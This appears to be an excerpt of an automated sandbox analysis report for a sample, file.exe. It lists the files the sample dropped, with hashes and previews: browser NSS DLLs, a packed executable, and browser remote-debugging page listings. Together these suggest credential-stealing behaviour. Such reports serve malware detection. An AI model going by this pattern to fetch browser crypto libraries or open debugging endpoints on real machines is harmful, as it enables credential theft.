Preview:	...2lI.5.<C.;.{....._+jE.`..}....-...#.A...KR...l.M0,s...).9..........x.......F.b......jU....y.h'....L<.....Z..%...._...g.4yu...........'c=..I0..........qW..<:N....<..U.,Mi..._......'(..U.9.!........u....7...4. ..Ea...4.+.79k.!T.-5W..!..@+..$..t\|1.E..7F...+..xf....z&_Q...-.B...)8R.c....0.......B.M.Z...0....&v..<..H...3.....N7K.T..D>.8......P.D.J.I4.B.H.VHy...@.Wc.Cl..6aD..j.....E..4..mI..X]2.GH.G.L...E.F.=.J...@}j~.#...'Y.L[z..1.W/.Ck....L..X........J.NYd........>...N.F..z.{nZ~d.N..../..6.\L...Q...+.w..p...>.S.iG...0]..8....S..)`B#.v..^..T.?...Z.rz.D'.!.T.w....S..8....V.4.u.K.V.......W.6s...Y.).[.c.X.S..........5.X7F...tQ....z.L.X..(3#j...8...i.[..j$.Q....0...]"W.c.H..n..2Te.ak...c..-F(..W2.b....3.]......c.d\|.../....._...f.....d....Im..g.b..R.q.<xx...i2..r.I()Iat..b.j.r@K.+5..C.....nJ.>P,.V@.....s.4.3..O.r.....smd7...L.....].u&1../t.*.......uXb...=@.....wv......]....#.{$.w......i.....\|.....?....E7...}$+..t).E.U..Q..~.`.)..Y@.6.h.......%(

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\uriCache

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	9
Entropy (8bit):	3.169925001442312
Encrypted:	false
SSDEEP:	3:CMzOn:CM6
MD5:	B6F7A6B03164D4BF8E3531A5CF721D30
SHA1:	A2134120D4712C7C629CDCEEF9DE6D6E48CA13FA
SHA-256:	3D6F3F8F1456D7CE78DD9DFA8187318B38E731A658E513F561EE178766E74D39
SHA-512:	4B473F45A5D45D420483EA1D9E93047794884F26781BBFE5370A554D260E80AD462E7EEB74D16025774935C3A80CBB2FD1293941EE3D7B64045B791B365F2B63
Malicious:	false
Preview:	uriCache_

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\uriCache_

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	179
Entropy (8bit):	4.996658990315849
Encrypted:	false
SSDEEP:	3:YTyLSmafBoTfIeRDHtDozRLuLgfGBkGAeekVy8HfzXNPIAclUgUtUVY:YWLSGTt1o9LuLgfGBPAzkVj/T8lUgUt3
MD5:	65161D41C3491B74BC56F03A7378009B
SHA1:	9A8A31394693062341E27711D9BAD429E4253C7F
SHA-256:	7A95C3129E3FCD4D58A54A3CCB9FF31DF0E58D638D95D19C6E27356EAA2758B3
SHA-512:	52F89C6A11C61350A2D91B31DD1054D6B412483E31F3DFB9CD2D1DF9A90715F9262E4AD0EF5B38BF375502889D676FC85F67047B1DA08F3DF5038F10EA709B46
Malicious:	false
Preview:	{"version":1,"cache_data":[{"file_hash":"da2d278eafa98c1f","server_context":"1;f94c025f-7523-6972-b613-ce2c246c55ce;unkn:100;0.01","result":1,"expiration_time":1731761736198221}]}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Variations

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	86
Entropy (8bit):	4.3751917412896075
Encrypted:	false
SSDEEP:	3:YQ3JYq9xSs0dMEJAELJ2rjozQp:YQ3Kq9X0dMgAEwjj
MD5:	F732DBED9289177D15E236D0F8F2DDD3
SHA1:	53F822AF51B014BC3D4B575865D9C3EF0E4DEBDE
SHA-256:	2741DF9EE9E9D9883397078F94480E9BC1D9C76996EEC5CFE4E77929337CBE93
SHA-512:	B64E5021F32E26C752FCBA15A139815894309B25644E74CECA46A9AA97070BCA3B77DED569A9BFD694193D035BA75B61A8D6262C8E6D5C4D76B452B38F5150A4
Malicious:	false
Preview:	{"user_experience_metrics.stability.exited_cleanly":false,"variations_crash_streak":1}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\a81b5699-04bf-4366-8a20-17e1e6ce31e3.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	46036
Entropy (8bit):	6.087231675995397
Encrypted:	false
SSDEEP:	768:7MkbJrT8IeQcrQgwagLKKGf4C7KSDY9AFbseC+/Ag+PmOtD1GoppCioL7DRo+yMe:7Mk1rT8HQadKSDY9wAg+PmOtDsIpFoL6
MD5:	B13591D77B36AD53617A5D36C894BF62
SHA1:	B4ABA931EAB61879481164300D3DE24E4A8A79FF
SHA-256:	25488F130076213E26F32BCE8EEBA2AD28713DE18547DC22E657E53B626746AC
SHA-512:	7ED996165E14F25BD53DCF982B49C08571223CCEF76BA224C70F2DBBB475238CC5835D9BB4BFBA90491032E8536113AE1B359FC21C8B925885C919E0C6955C2B
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"continuous_migration":{"local_guid":"0fac97dc-e495-4cae-ac6a-fea94005ea64"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1731660937"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMs

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\e8d80edc-7b45-4130-82d5-2957cbec510f.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44236
Entropy (8bit):	6.089516658433447
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kpTKKGf4SNtBF1OIlPsm7DRo+yM/42cRaLMoskCioz:z/Ps+wsI7ynct5b7VLyMV/YoskFoz
MD5:	05422F1E32CCBE30A89BC1394564E7D0
SHA1:	A2B7B203C403209F658DCCC0760A565AFD424B27
SHA-256:	EE39A7019C24B731C4721512F6911A2F56F8E97C3DE261C84059A002538612A2
SHA-512:	10B0A11C7AB64C1BA0895A028C052DDC5DA5308C1355A2DB334CF4A2F6CA45DD0477008DC60FDF77853BC5DC20307324A43EE9A169FE19AAB78F1C8528FF9830
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2278
Entropy (8bit):	3.8539823344978617
Encrypted:	false
SSDEEP:	48:uiTrlKxrgxAxl9Il8u7CTG1P0TMYduLCmlrmd1rc:mdYUTG1P0wYdMCmlB
MD5:	E18E6D81E0AED3DE01DDBBF2EF3D35F2
SHA1:	685A1878667B3A0B917B1C654A05C0900C478F00
SHA-256:	EF767289F4287219843FF096151FBF23DB7C4AA51C13DA1B8E849F3F7D3490FA
SHA-512:	F41B39A884E2028846BFCABD151831ED78AA8E54408571171372308F09B3C28E012F1E9FD6CDB36688AEA65A4337E5C30D5DB566CF85A08278D68204A1145F3C
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".W.i.p.w.W.M.+.N.H.l.b.C.D.m.s.Z.p.8.S.O.s.j.h.t.F.B.s.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.N.y.g.h.E.Q.3.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.r.f.D.5.m.I.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\cf7513a936f7effbb38627e56f8d1fce10eb12cc.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4622
Entropy (8bit):	3.9958402709136958
Encrypted:	false
SSDEEP:	96:FYUPz/0p8XdRYy47q8rnOjCvmV6nalZmj2pb+fp:Fcp8rYy4W8TK6nomZfp
MD5:	A339D7724080C2E6456E209100605ED8
SHA1:	55FB82807579FFD7C439484965B7E544A0A70A33
SHA-256:	8C00D499624F104BCF4203AA4D501088F15B74AB847C96974830BA5FDAFF03F9
SHA-512:	388795E617E3E516C66A0C54D55AF27CA809E1ED7886E24E2A18F23D868E0B1687D63272776983E3C8FC2E7F40E6791B99A6406AC0F27DE09E5F3426797B6BCB
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".z.3.U.T.q.T.b.3.7./.u.z.h.i.f.l.b.4.0.f.z.h.D.r.E.s.w.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".0.a.d.U.a.j.w.3.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.w.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.r.f.D.5.m.I.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\e8ddd4cbd9c0504aace6ef7a13fa20d04fd52408.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2684
Entropy (8bit):	3.905930641684364
Encrypted:	false
SSDEEP:	48:uiTrlKx68Wa7xaxl9Il8u7COy0FsHk4JRYIIOXONuOBDa+xiud/vc:aIYUD0FsE4wIIgOnaEu
MD5:	420A2631F0B2CE420FF7CEBD846E834A
SHA1:	34DF2B736DDC242A0F656AFDE4ADDA16B379E7D8
SHA-256:	EA7CB1C4E3627EC792683C8A1E84083F888BE6F7460C28A36A1FCD46E2D6717A
SHA-512:	EF9C3C5959657CFC8F9EE336259448BAAA50385846EBDC4CFBEE9C7533709393ABFA629399FB73DB4C01A7EF1D78751044A19F2D0D5DFF3456ACDD44A86D623A
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".6.N.3.U.y.9.n.A.U.E.q.s.5.u.9.6.E./.o.g.0.E./.V.J.A.g.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".x.4.w.x.m.g.1.W.3.A.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.r.f.D.5.m.I.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\json[1].json

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3500
Entropy (8bit):	5.39506525461587
Encrypted:	false
SSDEEP:	96:6NnQSPJHQSONnQUbQ/NnQE9QNNnQ9dgEQiNnQdf2QdRNnQ8DQ5NnQ4wQRNnQObAY:6NtPnONiNoNEzN0fXRNZ6NfdN1
MD5:	03BF4EB1CA66A312B65F078BC6068DAA
SHA1:	A1F82626CA71C46495705140CBA8F20572FE1EFD
SHA-256:	ABFB8F69197BE44B41ADF6F10888CC99705F6D57A85B8D8BEE879C06E74931A7
SHA-512:	55D39A98432A3D4EE633ABD743E08BA2FE1421B7AE92E67DE8226F14EC021483518DC0C802F5ADC6584E849FE32F713CBA672110A0F338AFF5994D98FABE35D5
Malicious:	false
Preview:	[ {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/A0454AA7C151ED5BD221C84E96F4A4FD",.. "id": "A0454AA7C151ED5BD221C84E96F4A4FD",.. "title": "Microsoft Voices",.. "type": "background_page",.. "url": "chrome-extension://jdiccldimpdaibmpdkjnbmckianbfold/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/A0454AA7C151ED5BD221C84E96F4A4FD"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/E13864B39E82E0032D82EADA35CA3B44",.. "id": "E13864B39E82E0032D82EADA35CA3B44",.. "title": "WebRTC Internals Extension",.. "type": "background_page",.. "url": "chrome-extension://ncbjelpjchkpbikbpkcchkhkblodoama/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/E13864B39E82E0032D82EADA35CA3B44"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\freebl3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\json[1].json

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1787
Entropy (8bit):	5.373516133516219
Encrypted:	false
SSDEEP:	48:SfNaoQNTEQWfNaoQfdSQflfNaoQY7qQYSfNaoQQk0UrU0U8QV:6NnQNTEQ+NnQfdSQfRNnQY7qQY6NnQQB
MD5:	D004F3C8EB87E46F40B00690B89309CF
SHA1:	BF571F6E02362B2263FC2C065C76C7C28C44A398
SHA-256:	870D3032C4778314CF73FCCD71E19FE5C23F0E75F8BABD8836C66D2F1234EA5E
SHA-512:	56EB6ED7581229E25611392EA745CFF18CE4CA4E97075825C3242E231C7CC1B10AD099214E5D668095363180D92F26FFA71A78A74A893C3498766455ED4EE77F
Malicious:	false
Preview:	[ {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/067D005A3E595E78935799F0D03FB4BF",.. "id": "067D005A3E595E78935799F0D03FB4BF",.. "title": "Google Network Speech",.. "type": "background_page",.. "url": "chrome-extension://neajdppkdcdipfabeoofebfddakdcjhd/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/067D005A3E595E78935799F0D03FB4BF"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/4F4D62C28AD0DD5E18E7E6D6C926365D",.. "id": "4F4D62C28AD0DD5E18E7E6D6C926365D",.. "title": "Google Hangouts",.. "type": "background_page",.. "url": "chrome-extension://nkeimhogjdpnpccoofpliimaahmaaome/background.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/4F4D62C28AD0DD5E18E7E6D6C926365D"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtoo

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\mozglue[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\msvcp140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\nss3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\random[1].exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	modified
Size (bytes):	1638400
Entropy (8bit):	7.958933255626289
Encrypted:	false
SSDEEP:	49152:QWOPXtv52ZqkGpPora5k6eXM4gJss3aESq:Q59vg4kSkezss3n
MD5:	2B01F6B43C18EE3FDF5101D93E19CB47
SHA1:	3F065CBD99EDFA174B5794BBA591D6C19860AFC8
SHA-256:	0E9A6416E638A313EF4F7A7C624A704FB83F27895353DE3980EE45D0241A9EA6
SHA-512:	1414CA0A471049BCD189DBA98B3CDEC37ED0B8742710A4A74DBE118B344BA7B8B790C6E9F9910B2EB05059436026EF0968F369F8DFF2537B82492F2140D3AD4C
Malicious:	false
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L.....4g.............................`H...........@...........................H.....<.....@.................................T@..h............................A...................................................................................... . . .......J..................@....rsrc .....0.......Z..............@....idata .....@.......Z..............@... ..)..P.......\..............@...jwsfpihg.P..../..J...^..............@...iwmzihna.....PH.....................@....taggant.0...`H.."..................@...................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\softokn3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\vcruntime140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
